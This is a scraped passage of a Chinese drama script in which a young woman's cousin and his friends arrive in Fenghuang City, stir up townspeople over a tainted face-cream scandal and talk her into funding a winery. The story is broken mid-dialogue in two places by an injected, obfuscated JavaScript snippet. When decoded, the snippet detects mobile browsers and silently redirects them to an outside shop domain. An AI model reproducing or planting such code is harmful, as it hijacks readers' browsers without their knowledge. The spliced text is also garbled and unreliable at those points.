洛青:安公子,你是宁儿的表哥,不远万里来到这里,怎么能让你们住在外面呢?宁儿,你说呢? 洛宁:我无所谓,他住哪儿都行。 安琦:唉呀,看来你之前说想我都是假的。 路易:她那是说给我听的,你别自作多情了! 洛宁:(指着路易对众人)这个家伙就爱开玩笑,他说的话你们别当真。 路易:(指着洛宁对众人)看见没?她不好意思了!哈哈!(众笑) 洛宏:不如这样吧!安公子是大夫,让他和他的朋友住在延生堂里,那里人不多,环境也不错。 洛青:嗯,好主意。正好寒冰也是大夫,互相之间可以交流下。 洛宁:(推了下安琦)你瞧我哥哥姐姐多热情呀!赶紧答应他们吧! 安琦:既然如此,那我们就恭敬不如从命了! 洛青:那我现在就派人把你们的行李送去延生堂,并嘱咐寒冰把房间布置好。 洛宁:姐!你跟寒冰说一声,给翡翠一定要准备最精致的上房,派几个手脚麻利的仆子去服侍他,马车要专人专用,厨子也一样,尤其要记住,不能给他吃隔夜的饭菜! 洛青:好,我会叮嘱他。安公子和路公子呢?有没有什么特别的要求? 洛宁:他俩没那么多讲究,住寻常的客房、跟大家一起在食堂里吃饭就行了! 路易:(没好气地)丫头!我和翠儿都是你哥的朋友,你凭什么对他这么优待呀? 洛宁:因为他太难伺候了呗!(众笑) 洛青起身离开,去安排住宿事宜。 安琦:(爱怜地摸了摸洛宁的头)几年不见,长成一个大姑娘了!我记得你离开聚胜古都的时候,还是个孩子,琥珀为此还十分担心,怕你在这边受委屈。 洛宏:琥珀是谁? 安琦:他是我的剑术老师。这丫头小时候特别黏人,尤其喜欢琥珀,别人抱她、她哭个不停,琥珀抱她、她立马就笑。无奈之下,琥珀只好一手抱着她、一手教我练剑。 路易:呵呵,我终于明白你剑术那么差劲的原因了。 洛宁:琥珀他现在怎么样?真希望他也跟你们一起过来。 安琦:他被派去前线了。 洛宁:(一脸失望)这样啊,真可惜! 路易:(指着洛宁对众人)瞧见没?这才是她的梦中情郎。哈哈! 安琦:(朝洛宁眨眨眼)不过我估计他现在抱不动你了,哈哈! 洛宏:晚上我还有个应酬,你们吃完饭后,去听雨轩坐坐,喝杯茶解解乏。 洛宁:我去把云飞大哥和无行大哥也叫过来,让大家认识一下。 洛宏:我让紫旭去叫他们,你带他们去听雨轩吧。 洛宁:好。 4-86 天地会总会,听雨轩(夜,内) 人物:洛宁、安琦、路易、翡翠、银华、金鹏、洛青、洛思思、紫旭 洛宁正给安琦看自己的画作,路易摆弄着桌上的茶具,翡翠漫不经心地拨动着琴弦,银华和金鹏率先推门进来。 银华:宁儿!听说你表哥来了! 洛宁:银华、金鹏!你俩来啦!给你们介绍一下,这是我的表哥安琦!这是路易,这是翡翠,他们都是安琦的朋友。 众人互相问好。 洛宁:安琦!你刚才看到的那幅画,就是出自金鹏的手笔。 安琦:哦,是吗?我听宁说你才学没多久,能画得这么生动,真不错! 金鹏:过奖了!这都是宁儿这位老师教得好!嘿嘿! 洛青带着洛思思从外面进来。 洛宁:甜妞儿,你也来了!让我瞧瞧你的脸!嗯嗯,好多了! 洛思思:是啊!多亏了冷大夫的药膏,我这几日连续擦了几回,脸上的肿都消了! 洛宁:真是太好了! 洛思思:宁儿,这位就是你的表哥吗? 洛宁:对啊! 洛思思:啧啧!宁儿,你娘家里的基因可真强大,你看你长得这么漂亮,你表哥也这么帅! 洛青:(冲着洛思思使了个眼色)甜妞儿,你说什么呢?矜持一点儿!(众笑) 洛宁向他们介绍洛思思,众人互相问好。 洛思思:(小声问洛宁)宁儿!那个翡翠……是男的还是女的呀? 洛宁:你觉得呢? 洛思思:我看他的身段像个男人,可那张脸实在是太漂亮了,比女人还要美上三分,尤其是那双充满灵气的眼睛,就像油画里的贵妇人一样。 洛宁:嘻嘻!你上去摸摸他的胸,不就知道了吗? 洛思思:(脸微微一红)我才不要呢!羞死了! 又过了一会儿,紫旭从外面进来,却不见风无行和顾云飞的身影。 洛宁:云飞大哥和无行大哥怎么没来?我哥不是让你去叫他们吗? 紫旭:顾堂主在总会长那里,风堂主这会儿还有点儿事,要晚些时候才能过来。 洛宁:这样啊!好,我知道了,你先去忙吧! 紫旭点头离开。 一番寒暄过后,众人各自坐下。洛宁动手泡茶,银华和金鹏给她帮忙。 洛宁:云飞大哥不在,咱们只能自己动手泡茶了。 路易:有酒吗? 洛宁:(没好气地)刚才在饭桌上你还没喝够呀? 路易:白酒是喝够了,可红酒还没喝呢!对不对呀,翠儿? 翡翠:别问我!我是来度假的。 路易:临睡之前,若不能喝上一杯你亲手酿的酒,感觉这一天都变得不完美了。 洛青:翡翠公子会酿酒? 洛宁:不只是他,他们家祖祖辈辈都是干这个的。在聚胜古都,谁要是没喝过他们家的酒,就不能被称作聚胜古都的人! 银华:(笑着问洛宁)你喝过没? 安琦:唉,别提了!她上次喝过酒之后,干的那些坏事,我可是记忆犹新啊! 银华:她干什么坏事了? 路易:把她哥辛辛苦苦种的玫瑰花,全拔了!哈哈! 翡翠:那些玫瑰花可是难得一见的稀有品种,我费了好大的劲儿才寻得,被她一夜之间全毁了,差点儿没把我气晕过去! 银华:哈哈,挨打了没? 安琦:挨打了。不过不是她,而是我们被打了一顿,理由是不该给她喝酒。 银华:(笑着摸摸洛宁的头)哈哈,看来你在聚胜古都也是个混世小魔王啊!(众笑) 洛宁:(问翡翠)这么说,他俩来这里是为了给冷大夫帮忙,而你来这里却是为了游山玩水? 安琦:翡翠从小跟着他爷爷学酿酒,辛苦了这么多年,也该歇歇了。 洛宁:很辛苦吗?如果我没记错的话,他不是向来只动嘴不动手吗? 路易:哈哈!一个人管理那么大的园子,光是动嘴也很辛苦啊! 洛宁:安琦,你俩打算什么时候去医馆报到? 安琦:明天就过去。 洛宁:那翡翠呢?你打算做什么? 翡翠:我明天出去走走,熟悉一下这里的风土人情。 洛宁:正好我明天有空,带你去看看凤凰城各处的美景吧! 洛青:(插嘴)既然你明天有空,不如先随我去一趟紫蔚城吧! 洛宁:(不耐烦地)姐!那件事你去就行了,何必非要带上我呢? 洛青:我去了三次,兰兰都不肯见,她说得罪她的人是你不是我,你不去谁去? 安琦:怎么了?咱们家的孩子又得罪谁了? 洛青:安公子,你来得正好,也帮我劝劝她…… 洛宁:(打断)谁劝都不好使!姐,你若闲得没事做,不如去劝劝欧阳兰兰,她还欠咱们凤凰城的百姓一个道歉呢! 洛青:她不也跟大家一样被蒙在鼓里吗?我听她娘说,她的脸肿得比甜妞儿更厉害,再加上凤仪堂的事情对她的打击不小,她如今吃不下也睡不着,整个人都瘦脱相了,可把她娘给心疼死了! 洛宁:那我去了又能怎样?凤仪堂的事情如今已成定局,她家就算再有钱,也改变不了什么,要怪只能怪她自己当初看走了眼…… 洛青:你这个丫头怎么这么犟呀?不就是赔个礼道个歉吗?有那么难吗? 洛宁:行呀!我可以去给她赔礼道歉,只要她先给咱们凤凰城的百姓赔个礼道个歉…… 洛青:凤仪堂的事情,她哥自然会帮她解决…… 洛宁:凤仪堂的老板是欧阳兰兰,她想跻身商界,总不能事事都依赖她哥吧? 洛青:她初出茅庐,没什么经验,难免会犯错…… 洛宁:既然你也知道是她的错,为何却要我去给她赔礼道歉? 洛青:你……你到底去不去? 洛宁:不去! 见二人越吵越凶,众人急忙劝阻。 银华:得得得!你俩别吵了!凤仪堂又不是咱们家开的,当初它赚钱的时候,没咱们的份儿;如今它赔了钱,关咱们什么事? 金鹏:是啊,全是欧阳兰兰自作自受! 洛青:你俩跟着起什么哄呀?我说的是凤仪堂的事吗?那我倒要问问你们,如果有一天,你俩也闹翻了,怎么办?是不是也得有个人先赔礼道歉呀? 洛思思:他俩若是闹翻了,余大哥肯定会从中劝和。 洛青:是啊!这不是一样的道理吗? 洛宁:噢,我明白了!既然他们都有哥哥帮忙,那么安琦,我的这件事也交给你了!哼! 洛宁说完,便起身头也不回地离开了听雨轩,银华和金鹏见状,也跟着走了。 路易:(不解地)怎么回事?怎么说着说着就恼了? 洛思思:路公子,你们有所不知……(讲述凤仪堂之事) 路易:(一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007385|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听便笑了)半日花?这种东西也敢用在脸上?你们沉香国的人为了美还真是不顾一切呀!哈哈! 翡翠:这件事宁没有错,无需向任何人道歉。 洛青:翡翠公子,这里是沉香国,不是聚胜古都。 翡翠:不管在哪里,都要讲道理。 路易:是啊!冷梦遭人陷害的事,查清楚了没?是不是欧阳兰兰干的? 洛青:你们怎么都……唉!安公子,你说呢? 安琦:既然宁把这件事交给了我,那就由我来解决吧,谁让我是她哥呢! 4-87 洛府,花园(夜,外) 人物:洛青、洛思思 离开了听雨轩,洛青和洛思思沿着鹅卵石铺成的小路往回走。 洛思思:青儿,我总觉得这件事有点儿不对劲儿…… 洛青:怎么了? 洛思思:那个安公子,答应得未免也太爽快了些。 洛青:什么意思? 洛思思:安公子不仅仅是宁儿的表哥,他还是冷梦的同窗好友,于情于理,他都不该站在欧阳兰兰那边,可他却答应去给欧阳兰兰道歉,这说明了什么? 洛青:说明了他这个人,不会像宁儿那样意气用事。 洛思思:真的吗? 洛青:什么真的假的?安公子又不是小孩子,说话做事应该知道轻重。更何况他们三个人才来到凤凰城,还没有站稳脚跟,如果想闹事的话,岂不是自讨没趣? 洛思思:安公子这个人,看上去倒是挺正派,可那个路易,一看就不是什么善茬儿。 洛青:可不是嘛!我一见到他那副油嘴滑舌的样子,就觉得十分讨厌,若不是看在宁儿和安公子的份上,我才懒得搭理他呢! 洛思思:如果他们把这件事搞砸了,怎么办? 洛青:这不都怨你嘛! 洛思思:怨我? 洛青:你若不把凤仪堂的事情告诉他们,不就没这回事了吗? 洛思思:人家在问,我能不说吗?就算我不说,宁儿也会告诉他们。 洛青:那就让他们去问宁儿好了,你跟着瞎掺和什么? 洛思思:青儿,怎么在你眼里,人人都有罪呀?唉,罢了!以后不管是好话坏话,我都不说了! 第二天,安琦、路易和翡翠便去了紫蔚城。 梁州紫蔚城 4-88 欧阳世家,前门(日,外) 人物:安琦、路易、翡翠、门房若干、百姓若干 欧阳世家的门前,挤满了声讨凤仪堂的人群。 百姓:让欧阳兰兰出来!让欧阳兰兰出来!…… 门房:你们这些家伙怎么不知好歹呀?咱们家少爷已经答应了给你们三倍的补偿,还嫌不够呀? 百姓:我们要的不是钱,我们要的是公道!欧阳兰兰把我们害成这样,她必须出来给我们一个交代! 门房:交代什么呀?咱们家小姐也病了,她也跟你们一样是受害者!你们的损失她来赔,她的损失谁来赔呀? 百姓:她一个人害了我们这么多人,到底是谁的损失更大?让她出来!欧阳兰兰!出来! 见到此景,路易笑了起来。 路易:这么热闹的场合,怎么能少了我呢?(对着安琦和翡翠)你俩在这里等着,我先去跟他们聊聊! 路易从马上下来,三步并作两步,挤进了人群里。 路易:这位老乡,这里不是欧阳世家吗?你们在这里干什么呀? 百姓甲:公子,你应该不是本地人吧? 路易:对呀,怎么了? 百姓甲:难怪你不知道!欧阳世家的小姐欧阳兰兰,把咱们大伙儿都害惨了! 路易:哦,怎么回事? 百姓甲:她把兽药掺进面脂里,高价卖给咱们。 路易:(故作惊讶)兽药? 百姓甲:对呀!咱们大家都听信了她的鬼话,以为面脂里用的全是名贵药材,谁知道前阵子官府一查,发现竟是兽药!唉! 路易:兽药是给畜牲用的,用在人的身上,我倒是头一回听说。 百姓甲:可不是嘛!这分明就是把人不当人看,实在是太可恶了!哼! 路易:我来这里之前,我老婆还特意嘱咐我,让我一定要给她带一盒凤仪堂的面脂回去,你们说的该不会就是这个吧? 百姓甲:千万别买!不然的话,你老婆的脸就会像我女儿的脸一样,被它给毁了! 路易:哦,这么严重啊? 百姓甲:可不是嘛!我女儿原本下个月就要出阁,正因为用了凤仪堂的面脂,如今她的脸上长满了红疙瘩,男方那边一听说此事,立马嚷嚷着要退婚,可把我愁坏了!唉! 百姓乙:我那妹子也是这样,她原本只是脸有点儿黄,用了凤仪堂的面脂之后,不仅没有变白,还长出了一块块黑斑,看上去比之前更丑了,吓得她连镜子都不敢照了!唉! 百姓丙:你俩的运气比我好多了!我儿子用了凤仪堂的面脂,脸上倒没什么大的毛病,可他说话的声音突然变细了,我真担心他将来……唉! 路易:怎么会这样?简直是惨绝人寰呀! 百姓甲:是啊!所以我们来这里,就是为了向她讨一个说法!她把咱们大家害成这样,却只想着花钱了事,没那么容易! 路易:事情已经发生了,此时此刻,就算欧阳兰兰出来、给你们一个说法,又能怎样?(问百姓甲)你女儿是否就能嫁出去了?(问百姓乙)还有你那妹子,脸上的斑是否就能消掉了?(问百姓丙)还有你儿子,嗓音还能变得回来吗? 百姓甲:这……唉!我们也不想这样,可事已至此,我们能怎么办呀?唉! 百姓乙:是啊!官府说了,面脂里查出兽药,虽然不合情理,却也不违法,顶多只是把凤仪堂给查封了,赔点儿钱了事。咱们大伙儿正因为不甘心这么便宜了她,所以才会来这里! 百姓丙:咱们已经在欧阳世家的门口堵了几天几夜了,可欧阳兰兰就是不肯露面,她仗着自己家大业大,根本不把这些当回事儿! 路易:要我说,这也不能全怪她,要怪只能怪你们沉香国的律法太宽容了!像她这种情况,若搁在我们那里,可是要坐牢的! 众百姓:坐牢? 路易:对呀!且不说能不能往面脂里添加兽药,仅凭她用兽药冒充名贵药材这一点,已经是欺诈了! 百姓甲:咦?好像是啊!我怎么没想到这个?那你倒是说说,咱们该怎么办? 路易:人多力量大!你们若真想讨个说法,也不该来这里,而应该去督察府才对! 百姓乙:说得没错!咱们去督察府,告欧阳兰兰欺诈! 百姓丙:没错!咱们去告她!求督察大人把她抓起来! 见人群纷纷往凤凰城的方向去了,路易笑着回到安琦和翡翠的身边。 安琦:咱们不是来道歉的吗? 路易:呀!我刚才一紧张,竟然把这件事给忘了!哈哈哈! 翡翠:欧阳世家的千金,也该尝尝身陷囹圄的滋味了! 39. 第四篇 表哥和他的朋友 梁州,凤凰城 4-89 督察府,张正清的屋子(日,内) 人物:张正清、欧阳明真 张正清再次找到欧阳明真。 张正清:欧阳明真,你自己说说该怎么办吧!之前堵在你家门口的那些人,如今纷纷来到督察府里请愿,要求本官严惩欧阳兰兰。你若再想不出办法来平息此事,那么本官只好将你妹妹收押了! 欧阳明真:我已经答应支付他们全部的医药费,同时还愿意给予他们三倍的补偿,难道这些还不够吗? 张正清:如果凤仪堂不是你们欧阳世家开的,而欧阳兰兰的脸却被面脂给毁了,对方说给你点儿钱,这件事就算了了,你会答应吗? 欧阳明真:这…… 张正清:你若不想你妹妹坐牢的话,就得让凤凰城的百姓看到你的诚意! 无奈之下,欧阳明真只好再次提高赔偿额度,从一开始的三倍提高到了十倍、二十倍、三十倍……随着赔偿金的不断增加,请愿的百姓果然渐渐减少了。 4-90 巧珠家(夜,内) 人物:巧珠、余守泰 巧珠喜滋滋地来到余守泰身边坐下。 巧珠:余大哥,你听说了吗?欧阳明真那边已经把赔偿金提高到了五十倍! 余守泰:哦,是吗?我好像也听说了。 巧珠:之前你不是说给我买的那盒面脂,花了你足足十两银子吗?这下可好,咱们不仅不用花钱,还可以大赚一笔呢!(伸出五个指头)整整五百两银子呢!有了这笔钱,咱们可以买下一栋依山傍水的大房子,还可以雇许多丫鬟婆子来伺候咱们,多好呀! 余守泰:巧珠!那个……之前在凤仪堂买东西的凭证,我早就扔了! 巧珠:这个你别担心!欧阳明真说了,凤仪堂卖出的每一样东西,店里都有登记,哪怕你空着手去,也照样能赔! 余守泰:可咱们的那盒面脂是人家欧阳姑娘自己用的,我怕她店里没有登记。再说了,我跟人家欧阳姑娘也算是老熟人了,如今人家落了难,我就算帮不了人家,也不能落井下石呀! 巧珠:落井下石?那我倒要问问你,她把兽药掺进面脂里卖给咱们,这又算什么呀? 余守泰:你的那盒面脂里未必有兽药。 巧珠:未必有兽药?什么意思? 余守泰:之前我不是告诉过你吗?你用的那盒面脂是人家大夫给欧阳姑娘特别配制的,她害谁也不能害自己呀!你看你的脸,依旧美丽如初,这不就是最好的证明吗? 巧珠:可我听说欧阳姑娘也病了,怎么回事呀? 余守泰:那只是坊间的传闻,谁也没亲眼见过。不然的话,她又怎么会一直躲在家里不敢出来呢? 巧珠:好像是啊!你的意思是,她其实是在装病? 余守泰:这个时候,若换成别人,也一样会这么做。 巧珠:也是啊!照你这么说,咱们的五百两银子岂不是要打水漂了? 余守泰:这…… 巧珠:我的那些好姐妹们都已经商量好了,明天就去县衙里登记,如果我用了凤仪堂的面脂,却不去领钱的话,她们肯定会笑话我。 余守泰:咱们若领了那笔钱,以后还怎么有脸去见欧阳姑娘呀? 巧珠:你是天地会的人,又不是欧阳世家的人,大不了以后各走各路、谁也不欠谁! 余守泰:巧珠,你这不是在为难我吗? 巧珠:人不为己,天诛地灭!我不也是为了咱们的未来在着想吗?更何况这点儿钱,对欧阳世家来说,不过是九牛一毛!她能赔给别人,自然也能赔给咱们!到嘴的肥肉,哪有不吃的道理?哼! 4-91 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:余守泰、金鹏 余守泰躺在床上,不住地唉声叹气。 金鹏:哥!你怎么了?是不是哪里不舒服? 余守泰:唉,别提了!我现在后悔死了! 金鹏:怎么了?是不是那女人又找你要钱了?要我说,你还是趁早跟她一刀两断了! 余守泰:这事怪我,跟人家巧珠没关系! 金鹏:你怎么了?该不会又被人骗了吧? 余守泰:我倒是希望自己被人骗了! 金鹏:什么意思? 余守泰:想当初,我要是能狠下心来,买上几盒凤仪堂的面脂囤着,如今不就可以发大财了吗? 金鹏:(白了他一眼)唉,原来是因为这个!你呀你,别整天想着那些一本万利的事,这种钱就算是赚到了,心里也不踏实呀! 余守泰:没钱的话,心里才不踏实呢! 金鹏:凤仪堂已经被查封了,现在说这些又有何用? 余守泰:我就说我的命不好嘛!天底下的好事,从来都不会轮到我的头上!唉! 4-92 酒楼(夜,内) 人物:安琦、路易、冷梦、翡翠、洛宁 几个人相约在一起吃饭。 洛宁:差不多得了!你们若真把欧阳兰兰送进了牢里,我姐肯定会跟我翻脸! 路易:她可是你姐,怎么能向着外人? 洛宁:说得太对了!我姐那个人,从来都是胳膊肘往外拐! 冷梦:其实凤仪堂的事闹成这样,欧阳兰兰即使躲在家里,日子也不好过。得饶人处且饶人吧! 洛宁:听见没,易大师?人家冷大夫的度量可比你大多了! 路易:他的度量虽大,酒量可不怎么样。 洛宁:(问路易)若论酒量,你敢跟张大哥比吗? 路易:提起这个,我倒想问问你,当初怎么会答应去督察府?是不是被他迷住了? 洛宁:(开玩笑)可不是嘛,谁让他的身上有着十足的男人味儿呢! 翡翠:男人味儿是什么味儿?狐臭味儿吗? 路易:(指着翡翠笑)哈哈,他吃醋了! 洛宁:(问翡翠)狐臭味儿又是什么味儿?你知道吗? 路易:他那么爱干净,肯定不知道!哈哈! 翡翠不悦地瞪了洛宁一眼,洛宁则笑嘻嘻地冲他吐吐舌头。 安琦:翡翠,你不打算尝尝这里的酒吗? 翡翠:我只喝自己酿的酒。 路易:入乡随俗,你也该改变一下。 洛宁:是啊,尝一小口呗! 路易给翡翠倒了杯酒,翡翠犹犹豫豫地拿起杯子,抿了一小口。 翡翠:咳咳咳……辣死了!这是酒吗?真难喝! 路易:哈哈,我就说他喝不惯嘛! 洛宁:也给我来一杯尝尝! 安琦:你可千万别给我找事! 路易:(冲着洛宁挤挤眼)哈哈,听见没?你只能看着我们喝了! 酒过三巡,翡翠的脸上泛起了红晕,他用手托着下巴,痴痴地望着洛宁。 翡翠:宁,想喝我酿的酒吗? 洛宁:想啊!你们这次过来,怎么没带上几瓶? 安琦:出发时也带了,可惜在路上全喝光了。 洛宁:难怪你们一个个都空着手,脸皮可真厚! 路易:不是你说这边应有尽有吗?我实在想不出来该带些什么,哈哈! 翡翠:那天去紫蔚城,我见城外有一块空地,景色挺不错,不如咱们把它买下来,盖一家酒庄怎么样? 洛宁:好啊好啊!我赞成! 路易:(指着翡翠)唉,我就说你闲不住吧! 梁州,紫蔚城 4-93 空地上(日,外) 人物:翡翠、洛宁 翡翠带着洛宁,来到他说的那片空地上。 洛宁:(皱起眉头)原来是这块地…… 翡翠:怎么了?有什么问题吗? 洛宁:这块地的主人是欧阳世家。 翡翠:哦,这么巧? 洛宁:是啊!要不咱们再换个地方? 翡翠:用不着!因为凤仪堂的事,欧阳世家赔了不少钱,这块地空着也是空着,如果有人愿意买,他们为何不卖呢? 洛宁:那你打算怎么办?直接去找欧阳明真谈吗? 翡翠:拿什么谈? 洛宁:拿什么谈?当然是拿…… 话说到一半,她突然闭上嘴,见翡翠正望着她笑。 翡翠:赞成的同时,是不是也该赞助一下呀? 洛宁:(眯起眼)你们几个是不是早就商量好了? 翡翠:我不想一直住在洛府。 洛宁:一直?什么意思? 翡翠:实话告诉你吧,你哥来这里,是为了逃婚。 洛宁:(吃惊)逃婚? 翡翠:你姨妈给他安排了一门亲事,他不乐意,所以就偷跑出来了。 洛宁:(倒抽一口凉气)这么说,没等姨妈来开你们、你们先把她给开了? 翡翠:你哥逼着我在他和你姨妈之间作出选择,我能怎么办?只好放弃一切,跟他走了。 洛宁:你们走归走,为何要来这里?世界那么大,去哪儿不行呀? 翡翠:咱们可是一家人。 洛宁:所以你们就来这里祸害我?简直太可恶了! 翡翠:你已经收留了我们,后悔也来不及了! 洛宁:如果我不肯出这笔钱呢? 翡翠:那我们只好把你当初来这里的原因公之于众了。 洛宁:这招谁教你的? 翡翠:易大师。 洛宁:(掉头就走)我这就去砍了他! 翡翠:你不是说要带我去看看凤凰城各处的美景吗? 洛宁:(恼火地摆摆手)不去了! 翡翠:不久的将来,这里也将成为凤凰城的一处美景。 洛宁:这里是紫蔚城! 翡翠:离凤凰城也不远。 洛宁:(想了想回过头)也许姨妈很快就会改变主意。 翡翠:你来这里几年了?她改变主意了吗? 洛宁:安琦是她唯一的宝贝儿子。 翡翠:那就更要听她的话了。 洛宁:这么说,你们几个真打算赖在这里不走了? 翡翠:眼下只能这样。 洛宁:想要钱是吗?自己去挣呗!你们几个的岁数加起来快一百岁了,总不能让我一个小姑娘来养你们吧? 翡翠:酒庄一旦盖起来,你的钱很快就能收回来。 洛宁:那要是收不回来呢? 翡翠:我把我这个人赔给你。 洛宁:那样岂不是更亏?翡翠,要不这样吧,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007386|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附近也有不少家酒庄,你可以去他们那里打工嘛! 翡翠:(眉毛一挑)我更喜欢当主人的感觉。 梁州,凤凰城 4-94 洛府,木兰小院,洛宁的屋子(夜,内) 人物:顾云飞、洛宁、银华、金鹏、洛青、洛思思 眼睁睁地看着自己攒下的全部家当被翡翠一股脑儿卷走了,洛宁哭成了泪人儿。 洛宁:(抽泣)呜呜!我的钱呐!呜呜!我的钱呐!呜呜!我的钱呐!…… 银华:(着急)这都哭了一整天了,怎么还是收不住呀? 金鹏:(无奈地)唉,三千两银子可不是一笔小数目,若换成我,必须要哭上一年。 洛青:(忍不住笑了)呵呵,这就叫“千防万防,家贼难防”! 洛思思:青儿,宁儿都已经哭成这样了,你就别酸她了! 门口传来一阵快意的笑声,众人回头一看,竟是顾云飞。 银华:老大?你怎么来了? 顾云飞:她哭得这么大声,隔着老远都听得见,你说我能不来吗? 洛宁:你来干什么呀?还嫌我不够倒霉吗?呜呜! 顾云飞:啧啧,丫头!我认识你这么久,就数你今天的哭相最惹人心疼,看上去特别悲伤,一点儿也不像是在演戏!你瞧你那张小脸儿,涨得通红,眼泪刷刷地直往下掉,哭得那是撕心裂肺呀,我听着都觉得十分难受!我敢说这一次,你是真真切切地在为那痛失的三千两银子伤心欲绝!唉,真是太可怜了! 洛宁:你你你、连你也来欺负我!哇—— 洛宁放声大哭,顾云飞笑得更起劲儿了。 梁州,紫蔚城 4-95 欧阳世家,欧阳明真的屋子(夜,内) 人物:欧阳兰兰、欧阳明真 一听说欧阳明真把那块地卖给了翡翠,欧阳兰兰便坐不住了。 欧阳兰兰:你怎么可以把咱们的地卖给咱们的仇家? 欧阳明真:仇家?你这样说,是不是有点儿言之过甚了? 欧阳兰兰:他是宁姐姐的朋友,就是咱们的仇家! 欧阳明真:兰兰,咱们是生意人。生意场上,只谈利益…… 欧阳兰兰:(一口打断)我不管!反正你怎么把那块地卖出去,就得怎么把它给我收回来!哼! 欧阳明真:先不谈地的事,凤仪堂的事还没了呢! 欧阳兰兰:钱都已经给他们了,还想怎样? 欧阳明真:还有一些人不愿意接受赔偿,坚持要把你送进牢里。 欧阳兰兰:这些人敬酒不吃吃罚酒,真是太可恶了!应该让他们尝一尝皮肉之苦!哼! 欧阳明真:兰兰!这个时候你若干这种事情,张督察来抓你时,我可帮不了你。 欧阳兰兰:你是我哥,你不帮我谁帮我? 欧阳明真:若想让我帮你,你就必须听我的话。 欧阳兰兰:又想怎样?总不至于要把赔偿金再提高到一百倍吧?他们告我欺诈,我也要告他们借机勒索!哼! 欧阳明真:若能拿钱摆平,反倒容易了。 欧阳兰兰:什么意思? 欧阳明真:这些人不在乎钱,只想争一口气。 欧阳兰兰:争气?呵呵,行呀!你让他们过来,把我痛骂一顿,再不行还可以痛打一顿。我倒要看看,他们敢不敢? 欧阳明真:兰兰,你去给他们赔礼道歉吧! 欧阳兰兰:(先是一愣,接着便骂)哥!你疯了吗?我去给他们赔礼道歉?他们算老几?天王老子吗? 欧阳明真:只有这样,才能平息他们的愤怒。 欧阳兰兰:既然这么爱生气,干脆气死得了,还能替咱们欧阳世家省下不少钱呢! 欧阳明真:兰兰!我不管你愿不愿意,你都必须去。 欧阳兰兰:哥!你…… 欧阳明真:张督察给的期限快要到了,你若再磨蹭的话,就只能去坐牢了。 欧阳兰兰:(尖叫起来)我宁可去坐牢,也绝对不会去给那些家伙赔礼道歉! 欧阳明真:张督察不是别人,一旦你被他抓起来,就算是花钱,也未必能保你平安无事。 欧阳兰兰:我又不是没去过督察府,他每次见到我,不都是客客气气的吗? 欧阳明真:但你若成了他的犯人,那就是另一码事了。 欧阳兰兰:哥!你是不是想把我往死路上逼呀? 欧阳明真:忍一时风平浪静,哥哥是在救你呀!(上前轻轻搂住欧阳兰兰的肩膀)兰兰,你不是很想当一个成功的女商人吗?那么这次的事情,就是一个惨痛的教训!凤仪堂虽然没了,但欧阳世家还在,咱们还可以从头再来。如果这次,你能把一切处理好,那么将来,哪怕遇上更大的风浪,你也能从容面对。听哥哥的话,别再任性了! 无奈之下,欧阳兰兰只好硬着头皮挨家挨户地给人家赔不是,可无论到了哪一家,都没人给她好脸色看。在这些人里面,也不乏曾经与她交好的姐妹们。她们的态度冷若冰霜,令她十分意外,听她们毫不客气地数落自己,她的心中又羞又气,却不敢还嘴,只能含着眼泪、低声下气地请求人家的原谅。才短短一上午过去,她已经面若死灰,脚步踉踉跄跄,刚走出人家的门,便昏了过去…… 40. 第四篇 表哥和他的朋友 梁州,凤凰城 4-96 督察府,前院(日,外) 人物:洛宁、田佳、张正清、冷梦 督察府的门,被众康医馆的求诊队伍挡住了。 田佳:宁儿,你哥他们还真受欢迎呐!你瞧这求诊的队伍,都排到咱们督察府门口了! 洛宁:冷大夫的医术好,所以大家才会这样。 田佳:这些人里面,女人占了半数!你以为她们都是来看病的吗?错了!她们都是来看脸的! 洛宁:该不会你也动心了吧?喜欢哪个?我帮你牵红线,近水楼台先得月嘛! 田佳:我可不要!(悄悄地)其实……我早就有喜欢的人了。 洛宁:(顿时来了兴趣)谁呀?是不是张大哥? 田佳:他可是咱们督察府的老大,我连想都不敢想。 洛宁:那是谁?黄毅吗? 田佳:黄毅和甜妞儿正热乎着呢,我可不要棒打鸳鸯! 洛宁:那会是谁呀? 田佳:(神秘一笑)其实他……是一个神偷飞贼。 洛宁:神偷飞贼?田佳,你自己是只猫,怎么可以爱上一只老鼠? 田佳:没办法,谁让我对他一见钟情呢! 洛宁:快给我讲讲你们的故事! 田佳:他曾经入宫盗宝,而我当时正在京城当差,也跟着师傅们一起追捕他。 洛宁:敢入宫盗宝,看来他也不是一个寻常之辈。 田佳:嗯。他的功夫好极了,我的师傅们都拿他没办法。 洛宁:那你是怎么认识他的? 田佳:我在追捕他的过程中,一不小心滚落山崖,脚受了伤。没想到竟然激发出他的怜悯心,不仅救了我,还替我包扎伤口。 洛宁:天哪!这可是妥妥的英雄救美女呀!照这么说,他也不算坏嘛! 田佳:嗯。我听他说,他之所以入宫盗宝,也有他的苦衷。 洛宁:然后呢?你俩是不是也像小说里写的那样,在山崖下独处了一整夜,接着就…… 田佳:(脸微微一红)没有啦!他救了我之后,就离开了。 洛宁:这么好的机会,他怎么能错过呢?那他现在人在哪里? 田佳:(摇摇头)不知道。 洛宁:不知道? 田佳:(点头)嗯。自那之后,我就再也没见过他。 洛宁:(吃惊)啊!这么说,你俩只有一面之缘呀? 田佳:对呀! 